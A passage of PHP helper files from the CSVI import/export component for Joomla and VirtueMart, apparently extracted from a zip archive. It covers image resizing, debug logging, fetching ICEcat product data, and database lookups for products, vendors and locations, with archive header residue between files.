$file_details['file_out_extension'] = $output_ext; $file_details['mime_type'] = $this->_imagedata['mime_type']; /* We need to resize the image and Save the new one (all done in the constructor) */ $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_CONVERT_TYPE_CHECK', $file_details['file'], $file_details['file_out'])); $new_img = $this->convertImage($file_details); if ($new_img) $csvilog->addDebug(JText::sprintf('COM_CSVI_IMAGE_CONVERTED', $file_details['file'])); else $csvilog->addDebug(JText::sprintf('COM_CSVI_IMAGE_NOT_CONVERTED', $file_details['file'])); } // We have a remote image, update the mime type since we can't convert images on remote servers else if ($this->_imagedata['isremote']) { $mime_type = $this->findMimeType($this->_imagedata['output_path'].$this->_imagedata['output_name'], true); if ($mime_type) $this->_imagedata['mime_type'] = $mime_type; else $csvilog->addDebug(JText::_('COM_CSVI_CANNOT_FIND_REMOTE_MIMETYPE')); } } /** * Clean filename * * Cleans up a filename and replaces non-supported characters with an underscore * * @copyright * @author RolandD * @todo * @see * @access private * @param $value string the value to clean * @return string the cleaned up value * @since 3.0 */ private function _cleanFilename($value) { return (string) preg_replace('/[^A-Z0-9_\.-\s]/i', '_', $value); } /** * Change the case of any given string * * @copyright * @author RolandD * @todo * @see * @access private * @param string $name the string to be case changed * @return string the case changed string * @since 3.0 */ private function _setCase($name) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); // Set the case if needed switch ($template->get('change_case', 'image')) { case 'lcase': return strtolower($name); break; case 'ucase': return strtoupper($name); break; case 'ucfirst': return ucfirst($name); break; case 'ucwords': return ucwords($name); break; default: return $name; break; } } /** * Resize a large image * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _resizeFullImage() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); // Check if we need to resize the full image if ($template->get('full_resize', 'image')) { // Get the current size $checkfile = $this->_imagedata['base'].'/'.$this->_imagedata['output_path'].$this->_imagedata['output_name']; if (JFile::exists($checkfile)) { $cur_size = getimagesize($checkfile); if ($cur_size[0] > $template->get('full_width', 'image') || $cur_size[1] > $template->get('full_height', 'image')) { // Resize the image $file_details = array(); $file_details['file'] = $checkfile; $file_details['file_extension'] = JFile::getExt($checkfile); $file_details['rename'] = 0; $file_details['file_out'] = $checkfile; $file_details['maxsize'] = 0; $file_details['bgred'] = 255; $file_details['bggreen'] = 255; $file_details['bgblue'] = 255; $file_details['file_out_width'] = $template->get('full_width', 'image'); $file_details['file_out_height'] = $template->get('full_height', 'image'); $file_details['file_out_extension'] = JFile::getExt($checkfile); $file_details['mime_type'] = $this->_imagedata['mime_type']; // We need to resize the image and Save the new one (all done in the constructor) $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_RESIZE_IMAGE', $file_details['file'], $cur_size[1].'x'.$cur_size[0], $template->get('full_height', 'image').'x'.$template->get('full_width', 'image'))); $new_img = $this->convertImage($file_details); if ($new_img) $csvilog->addDebug(JText::_('COM_CSVI_FULL_IMAGE_RESIZED')); } } } } } ?> PKs>\ }--com_csvi/helpers/log.phpnuW+Ainput; $settings = $jinput->get('settings', null, null); $this->_log_line_start = $settings->get('debuglog.log_line_start', 1); $this->_log_line_end = $settings->get('debuglog.log_line_end', 5); } /** * Clean up old log entries * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return void * @since 3.0 */ public function cleanUpLogs() { // Load the settings $jinput = JFactory::getApplication()->input; $settings = $jinput->get('settings', null, null); $max = $settings->get('log.log_max', 25); $cid = array(); // Check if there are any logs to remove $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('run_id'); $query->from('#__csvi_logs'); $query->order('id'); $db->setQuery($query); $dblogs = $db->loadResultArray(); $this->addDebug(JText::sprintf('COM_CSVI_CLEAN_OLD_LOGS', count($dblogs), $max), false, 'DEBUG', true); if (count($dblogs) > $max) { $jinput->set('cid', array_slice($dblogs, 0, (count($dblogs)-$max))); // Load the log model require_once(JPATH_COMPONENT_ADMINISTRATOR.'/models/log.php'); $log_model = new CsviModelLog(); $log_model->getDelete(); } } /** * Invoke the Joomla logger * * @copyright * @author RolandD * @todo * @see * @access public * @param string $comment The comment to log * @param int $linenr The linenumber concerned * @param string $action The type of action * @return void * @since 3.0 */ public function simpleLog($comment, $linenr, $action) { // Include the library dependancies jimport('joomla.log.log'); // Set the logfile $this->getLogName(); // Create the instance of the log file in case we use it later $options = array('text_entry_format' => "{DATE}\t{TIME}\t{LINE_NR}\t{ACTION}\t{COMMENT}", 'text_file' => $this->logfile, 'text_file_path' => $this->logpath); JLog::addLogger($options); $entry = new JLogEntry($comment); $entry->comment = $comment; $entry->line_nr = $linenr; $entry->action = $action; JLog::add($entry); } /** * Return the name of the logfile * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string The name of the logfile * @since 3.0 */ public function getLogName() { $this->logfile = 'com_csvi.log.'.$this->getId().'.php'; $this->logpath = CSVIPATH_DEBUG; return $this->logpath.'/'.$this->logfile; } /** * Set the current line number * * @copyright * @author RolandD * @todo * @see * @access public * @param int $linenumber The current linenumber * @return bool true * @since 3.0 */ public function setLinenumber($linenumber) { $this->_linenumber = $linenumber; return true; } /** * Set the import/export ID * * @copyright * @author RolandD * @todo * @see * @access public * @param int $id The ID to set * @return int the ID * @since 3.0 */ public function setId($id=false) { if ($id) $this->_id = $id; else $this->_id = time(); return $this->_id; } /** * Get the import/export ID * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int the ID * @since 3.0 */ public function getId() { return $this->_id; } /** * Set the filename used for import/export * * @copyright * @author RolandD * @todo * @see * @access public * @param string $filename the full path and filename of the import/export file * @return void * @since */ public function setFilename($filename) { $this->_filename = $filename; } /** * Get the import filename * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string the full path and filename of the logfile * @since */ public function getFilename() { return $this->_filename; } /** * Set the log ID * * @copyright * @author RolandD * @todo * @see * @access public * @param int $id The log ID to set * @return void * @since 3.0 */ public function setLogid($id) { $this->_logid = $id; } /** * Get the log ID * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int The current log ID * @since 3.0 */ public function getLogid() { return $this->_logid; } /** * Enable the debugger * * @copyright * @author RolandD * @todo * @see * @access public * @param bool $val Set the logging on or off * @return void * @since 3.0 */ public function setDebug($val) { $this->_debug = $val; } /** * Adds a message to the log file * * @copyright * @author RolandD * @todo * @see * @access public * @param string $message message to add to the debug log * @param string $sql if true adds the sql statement * @param string $action the kind of action to qualify the message for * @param boolean $override sets if the line check should be overridden * @return * @since 3.0 */ public function addDebug($message, $sql=false, $action='DEBUG', $override=false) { // Check if we should add the log line if ($this->_debug) { if ($override || $this->_linenumber == 0 || ($this->_linenumber >= $this->_log_line_start && $this->_linenumber <= $this->_log_line_end)) { $this->simpleLog(JText::_($message), $this->_linenumber, '['.$action.']'); if ($sql) { $db = JFactory::getDbo(); $qmsg = ''; if ($db->getErrorNum() > 0) { $qmsg .= $db->getErrorMsg(); $qaction = 'SQL ERROR'; } else { $qmsg .= $db->getQuery(); $qaction = 'QUERY'; } $qmsg = str_replace(array("\r\n", "\n", "\r", "\t"), ' ', $qmsg); $this->simpleLog($qmsg, $this->_linenumber, '['.$qaction.']'); } } } } /** * Adds a message to the statistics stack * *

      * Types: * --> Products * updated * deleted * added * skipped * incorrect * --> DB tables * empty * --> Fields * nosupport * --> No files found multiple images * nofiles * --> General information * information *

      * * @param string $type type of message * @param string $message message to add to the stack */ function AddStats($type, $message) { // Load the settings $jinput = JFactory::getApplication()->input; $settings = $jinput->get('settings', null, null); $message = JText::_($message); switch ($type) { case 'updated': case 'deleted': case 'added': case 'empty': if ($settings->get('log.log_type', 'all') == 'all') $this->_addMessage($type, $message); break; case 'incorrect': case 'nosupport': if ($settings->get('log.log_type', 'all') == 'all' || $settings->get('log.log_type') == 'failure' || $settings->get('log.log_type') == 'failure_notice') $this->_addMessage($type, $message); break; case 'information': case 'nofiles': case 'skipped': if ($settings->get('log.log_type', 'all') == 'all' || $settings->get('log.log_type') == 'notice' || $settings->get('log.log_type') == 'failure_notice') $this->_addMessage($type, $message); break; case 'nosupport': $this->stats['nosupport'] = true; break; } } /** * Add a message to the statistics stack * * @copyright * @author RolandD * @todo * @see * @access private * @param string $type The type to add * @param string $message The message to add * @return void * @since 3.0 */ private function _addMessage($type, $message) { // Set the result $success = array('updated', 'deleted', 'added', 'empty'); $failure = array('incorrect', 'nosupport'); $notice = array('information', 'nofiles','skipped'); if (in_array($type, $success)) $result = JText::_('COM_CSVI_SUCCESS'); else if (in_array($type, $failure)) $result = JText::_('COM_CSVI_FAILURE'); else if (in_array($type, $notice)) $result = JText::_('COM_CSVI_NOTICE'); else $result = ''; if (!isset($this->stats[$this->_linenumber]['status'][$type])) { $this->stats[$this->_linenumber]['status'][$type]['message'] = $message."
      \n"; } else { $this->stats[$this->_linenumber]['status'][$type]['message'] .= $message."
      \n"; } $this->stats[$this->_linenumber]['status'][$type]['result'] = $result; } /** * Retrieves the log message * @return string returns the log message */ function GetLogMessage() { return $this->logmessage; } /** * Retrieves the debug message * @return string returns the debug message */ function GetDebugMessage() { return $this->debug_message; } /** * Retrieves the line number * @return string returns the debug message */ function GetLineNumber() { return $this->_linenumber; } /** * Retrieves the statistics array * @return array returns the statistics array */ public function getStats() { return $this->stats; } /** * Retrieves the statistics array * @return array returns the statistics array */ public function cleanStats() { $runstats['action'] = $this->stats['action']; $runstats['action_type'] = $this->stats['action_type']; $runstats['action_template'] = $this->stats['action_template']; $this->stats = array(); $this->stats = $runstats; } /** * Set the type of action the log is for */ public function SetAction($action) { $this->stats['action'] = strtolower($action); } /** * Set the type of action the log is for */ public function SetActionType($action, $template_name='') { $this->stats['action_type'] = strtolower($action); $this->stats['action_template'] = $template_name; } } ?> PKs>\77com_csvi/helpers/icecat.phpnuW+Ainput; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); // Find the ICEcat ID $q = "SELECT product_id FROM ".$db->quoteName('#__csvi_icecat_index')." AS i LEFT JOIN ".$db->quoteName('#__csvi_icecat_suppliers')." AS s ON s.supplier_id = i.supplier_id WHERE i.".$db->quoteName('prod_id')." = ".$db->Quote($mpn)." AND s.".$db->quoteName('supplier_name')." = ".$db->Quote($mf_name); $db->setQuery($q); $csvilog->addDebug(JText::_('COM_CSVI_FIND_ICECAT_ID'), true); $icecat_id = $db->loadResult(); // See if we have a match, otherwise try to search more liberal if (!$icecat_id) { $q = "SELECT product_id FROM ".$db->quoteName('#__csvi_icecat_index')." AS i LEFT JOIN ".$db->quoteName('#__csvi_icecat_suppliers')." AS s ON s.supplier_id = i.supplier_id WHERE i.".$db->quoteName('prod_id')." LIKE ".$db->Quote($mpn.'%')." AND s.".$db->quoteName('supplier_name')." = ".$db->Quote($mf_name); $db->setQuery($q); $csvilog->addDebug(JText::_('COM_CSVI_FIND_ICECAT_ID'), true); $icecat_id = $db->loadResult(); } // See if we have an ICEcat ID if ($icecat_id) { // Setup the XML parser if ($this->_setupXmlParser()) { // Call ICEcat to get the data $this->_callIcecat($icecat_id); // See if we have any valid data if ($this->_data) { // Clean some data $this->_csvi_data = array(); // Parse the XML data if (!xml_parse($this->_xml_parser, $this->_data, true)) { die(sprintf("XML error: %s at line %d\n", xml_error_string(xml_get_error_code($this->_xml_parser)), xml_get_current_line_number($this->_xml_parser))); } xml_parser_free($this->_xml_parser); return $this->_csvi_data; } } else return false; } else return false; } /** * Process start elements * * @copyright * @author RolandD * @todo optimize building for specific imports * @see * @access private * @param * @return * @since 3.0 */ private function _startElement($parser, $tagname, $attribs) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $tagname = strtolower($tagname); if (count($this->_open_tags) >= 1) { $parent_tag = $this->_open_tags[(count($this->_open_tags) - 1)]; } else $parent_tag = ''; switch ($tagname) { case 'product': switch ($parent_tag) { case 'productrelated': // Related products if (!array_key_exists('related_products', $this->_csvi_data)) $this->_csvi_data['related_products'] = ''; $this->_csvi_data['related_products'] .= $attribs['PROD_ID'].'|'; break; default: // See if we have an error if (array_key_exists('CODE', $attribs) && $attribs['CODE'] == '-1') { $csvilog->addDebug(JText::sprintf('COM_CSVI_ICECAT_ERROR_XML', $attribs['ERRORMESSAGE'])); } else { // Process the attributes // SKU $this->_csvi_data['product_sku'] = $attribs['PROD_ID']; // Name $this->_csvi_data['product_name'] = $attribs['NAME']; // Images $this->_csvi_data['file_url'] = $attribs['HIGHPIC']; $this->_csvi_data['file_url_thumb'] = $attribs['THUMBPIC']; // Release date comes int he form YYYY-MM-DD if (strpos($attribs['RELEASEDATE'], '-')) { list($year, $month, $day) = explode('-', $attribs['RELEASEDATE']); $this->_csvi_data['product_available_date'] = $day.'/'.$month.'/'.$year; } } break; } break; case 'productfeature': switch ($parent_tag) { default: $this->_csvi_data['pf'] = $attribs['PRESENTATION_VALUE']; break; } break; case 'name': switch ($parent_tag) { case 'category': // Category $this->_csvi_data['category_path'] = $attribs['VALUE']; break; case 'feature': $find = array(' ', '/'); $feature = strtolower(str_replace($find, '_', $attribs['VALUE'])); $csvilog->addDebug(JText::sprintf('COM_CSVI_ICECAT_FOUND_FEATURE', $feature)); $this->_csvi_data[$feature] = $this->_csvi_data['pf']; $this->_csvi_data['pf'] = null; break; } break; case 'productpicture': if (!empty($attribs)) { // Process the attribs // $this->_csvi_data['product_files_file_name'][] = $attribs['THUMBPIC']; $this->_csvi_data['product_files_file_url'][] = $attribs['PIC']; $this->_csvi_data['product_files_file_title'][] = basename($attribs['THUMBPIC']); $this->_csvi_data['product_files_file_published'] = 'Y'; } break; case 'productdescription': if (isset($attribs['LONGDESC'])) $this->_csvi_data['product_desc'] = str_ireplace('\n', '
      ', $attribs['LONGDESC']); else $this->_csvi_data['product_desc'] = ''; if (isset($attribs['SHORTDESC'])) $this->_csvi_data['product_s_desc'] = $attribs['SHORTDESC']; else $this->_csvi_data['product_s_desc'] = ''; break; case 'shortsummarydescription': // $this->_csvi_data['product_s_desc'] = ''; break; case 'longsummarydescription': // $this->_csvi_data['product_desc'] = ''; break; case 'supplier': $this->_csvi_data['manufacturer_name'] = $attribs['NAME']; break; case 'productdescription': // if (!empty($attribs['MANUALPDFURL'])) { $this->_csvi_data['product_files_file_name'][] = $attribs['MANUALPDFURL']; $this->_csvi_data['product_files_file_url'][] = $attribs['MANUALPDFURL']; $this->_csvi_data['product_files_file_title'][] = basename($attribs['MANUALPDFURL']); } if (!empty($attribs['PDFURL'])) { $this->_csvi_data['product_files_file_name'][] = $attribs['PDFURL']; $this->_csvi_data['product_files_file_url'][] = $attribs['PDFURL']; $this->_csvi_data['product_files_file_title'][] = basename($attribs['PDFURL']); } break; default: break; } // Add the tagname of the list of processing tags $this->_open_tags[] = $tagname; } /** * Process end elements * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _endElement($parser, $tagname) { // Remove the current tag as we are done with it array_pop($this->_open_tags); } /** * Process the inner data * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _characterData($parser, $data) { $current_tag = end($this->_open_tags); switch ($current_tag) { case 'shortsummarydescription': // $this->_csvi_data['product_s_desc'] .= $data; break; case 'longsummarydescription': // $this->_csvi_data['product_desc'] .= $data; break; } } /** * Set up the XML parser * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _setupXmlParser() { $this->_xml_parser = xml_parser_create("UTF-8"); xml_parser_set_option($this->_xml_parser, XML_OPTION_CASE_FOLDING, 1); xml_set_object($this->_xml_parser, $this); xml_set_element_handler($this->_xml_parser, "_startElement", "_endElement"); xml_set_character_data_handler($this->_xml_parser, "_characterData"); if ($this->_xml_parser) return true; else return false; } /** * Request the data from ICEcat * * There are different URLs to get the data from: * * Open ICEcat users have access to: * http://data.icecat.biz/export/freexml.int/INT/ for access to the standardized data files (QUALITY=ICECAT). * The language-specific data-files are found here: * http://data.icecat.biz/export/freexml.int/[code]/[product_id].xml, where [code] stands e.g. for NL, EN, FR, DE, IT, ES, DK etc. * * For the Full ICEcat subscribers, a separate directory structure is in place. The standardized files are located at: * http://data.icecat.biz/export/level4/INT * and the language dependent versions are found here: * http://data.icecat.biz/export/level4/[code]/[product_id].xml, where [code] stands e.g. for NL, EN, FR, DE, IT, ES, DK, etc. For * * Products need to be matched to a product file found at http://data.icecat.biz/export/freexml/EN/ * * an index file with references to all product data-sheets in ICEcat or Open ICEcat, also historical/obsolete products * files.index.csv|xml or files.index.csv.gz|xml.gz * a smaller index file with only references to the new or changed product data-sheets of the respective day * daily.index.csv|xml or daily.index.csv.gz|xml.gz * an index file with only the products that are currently on the market, as far as we can see that based on 100s of distributor and reseller price files * on_market.index.csv|xml or on_market.index.csv.gz|xml.gz) * an index file with the products that are or were on the market for which we only have basic market data, but no complete data-sheet * nobody.index.csv|xml or nobody.index.csv.gz|xml.gz * * @copyright * @author RolandD * @todo Check for gzip functionality to reduce filesize * @see * @access private * @param string $icecat_id the ICEcat ID to retrieve * @return * @since 3.0 */ private function _callIcecat($icecat_id) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); $settings = new CsviSettings(); // Construct the URL $url = ($settings->get('icecat.ice_advanced')) ? 'http://data.icecat.biz/export/level4/' : 'http://data.icecat.biz/export/freexml.int/'; // The language to use $url .= $settings->get('icecat.ice_lang').'/'; // The ID to retrieve $url .= $icecat_id.'.xml'; $csvilog->addDebug(JText::sprintf('COM_CSVI_CALL_ICECAT_URL', $url)); // Initialise the curl call $curl = curl_init(); // set URL and other appropriate options curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($curl, CURLOPT_USERPWD, $settings->get('icecat.ice_username').":".$settings->get('icecat.ice_password')); // grab URL and pass it to the browser $this->_data = curl_exec($curl); // close cURL resource, and free up system resources curl_close($curl); } /** * Supported ICEcat languages * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function supportdLanguages() { $codes = array(); $codes[] = 'INT'; // - International standardized version of a data-sheet. When QUALITY = ICEcat language independent values. $codes[] = 'EN'; // Standard or UK English $codes[] = 'US'; // US English $codes[] = 'NL'; // Dutch $codes[] = 'FR'; // French $codes[] = 'DE'; // German $codes[] = 'IT'; // Italian $codes[] = 'ES'; // Spanish $codes[] = 'DK'; // Danish $codes[] = 'RU'; // Russian $codes[] = 'PT'; // Portuguese $codes[] = 'ZH'; // Chinese (simplified) $codes[] = 'SE'; // Swedish $codes[] = 'PL'; // Polish $codes[] = 'CZ'; // Czech $codes[] = 'HU'; // Hungarian $codes[] = 'FI'; // Finnish $codes[] = 'NO'; // Norwegian $codes[] = 'TR'; // Turkish $codes[] = 'BG'; // Bulgarian $codes[] = 'KA'; // Georgian $codes[] = 'RO'; // Romanian $codes[] = 'SR'; // Serbian $codes[] = 'JA'; // Japanese $codes[] = 'UK'; // Ukrainian $codes[] = 'CA'; // Catalan $codes[] = 'HR'; // Croatian return $codes; } } ?> PKs>\ӧ<`<`#com_csvi/helpers/com_virtuemart.phpnuW+Ainput; $this->_csvidata = $jinput->get('csvi_data', null, null); } /** * Get the product id, this is necessary for updating existing products * * @copyright * @author RolandD * @todo Reduce number of calls to this function * @see * @access protected * @param * @return integer product_id is returned * @since 3.0 */ public function getProductId() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $update_based_on = $template->get('update_based_on', 'product', 'product_sku'); switch ($update_based_on) { case 'product_sku': $product_id = $this->_csvidata->get('product_id'); if ($product_id) { return $product_id; } else { $product_sku = $this->_csvidata->get('product_sku'); if ($product_sku) { $query = $db->getQuery(true); $query->select('virtuemart_product_id'); $query->from('#__virtuemart_products'); $query->where('product_sku = '.$db->Quote($product_sku)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_SKU'), true); return $db->loadResult(); } else return false; } break; case 'product_mpn': $mpn_column = $template->get('mpn_column_name', 'product', false); $product_mpn = $this->_csvidata->get($mpn_column); if ($product_mpn) { $query = $db->getQuery(true); $query->select('virtuemart_product_id'); $query->from('#__virtuemart_products'); $query->where($db->quoteName($mpn_column)." = ".$db->Quote($product_mpn)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_MPN'), true); return $db->loadResult(); } else return false; break; case 'product_child_sku': $product_sku = $this->_csvidata->get('product_sku'); $product_parent_sku = $this->_csvidata->get('product_parent_sku'); if ($product_sku && $product_parent_sku) { // Load the product parent ID $query = $db->getQuery(true); $query->select('virtuemart_product_id'); $query->from('#__virtuemart_products'); $query->where('product_sku = '.$db->Quote($product_parent_sku)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_CHILD_PARENT_SKU'), true); $product_parent_id = $db->loadResult(); // Load the product ID of the child $query = $db->getQuery(true); $query->select('virtuemart_product_id'); $query->from('#__virtuemart_products'); $query->where('product_sku = '.$db->Quote($product_sku)); $query->where('product_parent_id = '.$product_parent_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_CHILD_SKU'), true); return $db->loadResult(); } else if ($product_sku) { $query = $db->getQuery(true); $query->select('virtuemart_product_id'); $query->from('#__virtuemart_products'); $query->where('product_sku = '.$db->Quote($product_sku)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_SKU_BASED_CHILD'), true); return $db->loadResult(); } else { $csvilog->addDebug(JText::_('COM_CSVI_NO_CHILD_NO_PARENT')); return false; } break; default: return false; break; } } /** * Determine vendor ID * * Determine for which vendor we are importing product details. * * The default vendor is the one with the lowest vendor_id value * * @copyright * @author RolandD * @todo Add full vendor support when VirtueMart supports it * @see * @access protected * @param * @return integer the vendor database ID * @since 3.0 */ public function getVendorId() { if (!$this->_vendor_id) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); // Get some values $vendor_id = $this->_csvidata->get('virtuemart_vendor_id'); $product_sku = $this->_csvidata->get('product_sku', false); // User is uploading vendor_id if ($vendor_id) return $vendor_id; // User is not uploading vendor_id // First get the vendor with the lowest ID $query = $db->getQuery(true); $query->select('MIN(virtuemart_vendor_id) AS vendor_id'); $query->from('#__virtuemart_vendors'); $db->setQuery($query); $min_vendor_id = $db->loadResult(); if ($min_vendor_id) { if ($product_sku) { $query = $db->getQuery(true); $query->select('IF (COUNT(virtuemart_vendor_id) = 0, '.$min_vendor_id.', virtuemart_vendor_id) AS vendor_id'); $query->from('#__virtuemart_products'); $query->where('product_sku = '.$db->Quote($product_sku)); $db->setQuery($query); // Existing vendor_id $vendor_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_VENDOR_EXISTS'), true); $this->_vendor_id = $vendor_id; return $vendor_id; } // No product_sku uploaded else { $this->_vendor_id = $min_vendor_id; return $min_vendor_id; } } else { // No vendor found, so lets default to 1 $this->_vendor_id = 1; } } return $this->_vendor_id; } /** * Get the shopper group id * * Only get the shopper group id when the shopper_group_name is set * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $shopper_group_name the name of the shopper group to find * @return integer the database ID of the shopper group * @since 3.0 */ public function getShopperGroupId($shopper_group_name) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $query = $db->getQuery(true); $csvilog = $jinput->get('csvilog', null, null); $query->select('virtuemart_shoppergroup_id'); $query->from('#__virtuemart_shoppergroups'); $query->where('shopper_group_name = '.$db->q($shopper_group_name)); $db->setQuery($query); $shopper_group_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_SHOPPER_GROUP_NAME'), true); return $shopper_group_id; } /** * Get the currency ID of the specified vendor * * @copyright * @author RolandD * @todo * @see * @access public * @param int $vendor_id the ID of the vendor * @return * @since 4.0 */ public function getVendorCurrency($vendor_id) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('vendor_currency')); $query->from($db->quoteName('#__virtuemart_vendors')); $query->where($db->quoteName('vendor_currency').' = '.$db->quote($vendor_id)); $db->setQuery($query); return $db->loadResult(); } /** * Gets the default Shopper Group ID * * @copyright * @author RolandD * @todo add error checking * @see * @access protected * @param * @return integer the database shopper ID * @since 4.0 */ public function getDefaultShopperGroupID() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $vendor_id = $this->getVendorId(); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_shoppergroup_id'); $query->from('#__virtuemart_shoppergroups'); $query->where($db->quoteName('default').' = 1'); $query->where($db->quoteName('virtuemart_vendor_id').' = '.$vendor_id); $db->setQuery($query); $default = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_DEFAULT_SHOPPER_GROUP'), true); return $default; } /** * Create a slug * * @copyright * @author RolandD * @todo * @see * @access public * @param string $name the string to turn into a slug * @return string the slug for the product * @since 4.0 */ public function createSlug($name) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); // Transliterate $lang = new JLanguage($template->get('language', 'general', '', null, 0, false)); $str = $lang->transliterate($name); // Trim white spaces at beginning and end of alias and make lowercase $str = trim(JString::strtolower($str)); // Remove any duplicate whitespace, and ensure all characters are alphanumeric $str = preg_replace('/(\s|[^A-Za-z0-9\-])+/', '-', $str); // Trim dashes at beginning and end of alias $str = trim($str, '-'); // If we are left with an empty string, make a date with random number if (trim(str_replace('-', '', $str)) == '') { $jdate = JFactory::getDate(); $str = $jdate->format("Y-m-d-h-i-s").mt_rand(); } return $str; } /** * Get the custom related field ID * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function getRelatedId() { if (!$this->_related_id) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_custom_id'); $query->from('#__virtuemart_customs'); $query->where('virtuemart_vendor_id = '.$this->getVendorId()); $query->where('field_type = '.$db->Quote('R')); $db->setQuery($query); $this->_related_id = $db->loadResult(); } return $this->_related_id; } /** * Load the order status code * * @copyright * @author RolandD * @todo * @see * @access public * @param string $order_status_name the name of the order status * @return string the order status code * @since 2.3.11 */ public function getOrderStatus($order_status_name) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('order_status_code'); $query->from('#__virtuemart_orderstates'); $query->where('order_status_name = '.$db->Quote($order_status_name)); $db->setQuery($query); return $db->loadResult(); } /** * Get the currency ID * * @copyright * @author RolandD * @todo * @see * @access public * @param string $currency_name the name of the currency * @param int $vendor_id the ID of the vendor * @return * @since 4.0 */ public function getCurrencyId($currency_name, $vendor_id) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_currency_id'); $query->from('#__virtuemart_currencies'); $query->where('currency_code_3 = '.$db->Quote($currency_name)); $query->where('virtuemart_vendor_id = '.$vendor_id); $db->setQuery($query); $currency_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_CURRENCY_ID'), true); return $currency_id; } /** * Get the country ID * * @copyright * @author RolandD * @todo * @see * @access public * @param string $country_name the name of the country * @param string $country_2_code the 2 letter notification * @param string $country_3_code the 3 letter notification * @return * @since 4.0 */ public function getCountryId($country_name=null, $country_2_code=null, $country_3_code=null) { $country_id = null; if (isset($country_name) || isset($country_2_code) || isset($country_3_code)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_country_id'); $query->from('#__virtuemart_countries'); if (isset($country_name)) $query->where('country_name = '.$db->Quote($country_name)); else if (isset($country_2_code)) $query->where('country_2_code = '.$db->Quote($country_2_code)); else if (isset($country_3_code)) $query->where('country_3_code = '.$db->Quote($country_3_code)); $db->setQuery($query); $country_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_COUNTRY_ID'), true); } return $country_id; } /** * Get the state ID * * @copyright * @author RolandD * @todo * @see * @access public * @param string $state_name the name of the state * @param string $state_2_code the 2 letter notification * @param string $state_3_code the 3 letter notification * @return * @since 4.0 */ public function getStateId($state_name=null, $state_2_code=null, $state_3_code=null) { $state_id = null; if (isset($state_name) || isset($state_2_code) || isset($state_3_code)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_state_id'); $query->from('#__virtuemart_states'); if (isset($state_name)) $query->where('state_name = '.$db->Quote($state_name)); else if (isset($state_2_code)) $query->where('state_2_code = '.$db->Quote($state_2_code)); else if (isset($state_3_code)) $query->where('state_3_code = '.$db->Quote($state_3_code)); $db->setQuery($query); $state_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_STATE_ID'), true); } return $state_id; } /** * Get category list * * @copyright * @author RolandD * @todo * @see * @access public * @param string $language the language code for the category names * @return * @since 4.0 */ public function getCategoryTree($language) { // Clean up the language if needed $language = strtolower(str_replace('-', '_', $language)); $db = JFactory::getDbo(); $query = $db->getQuery(true); // 1. Get all categories $query->select('x.category_parent_id AS parent_id, x.category_child_id AS id, l.category_name AS catname'); $query->from('#__virtuemart_categories c'); $query->leftJoin('#__virtuemart_category_categories x ON c.virtuemart_category_id = x.category_child_id'); $query->leftJoin('#__virtuemart_categories_'.$language.' l ON l.virtuemart_category_id = c.virtuemart_category_id'); $db->setQuery($query); $rawcats = $db->loadObjectList(); if (!empty($rawcats)) { // 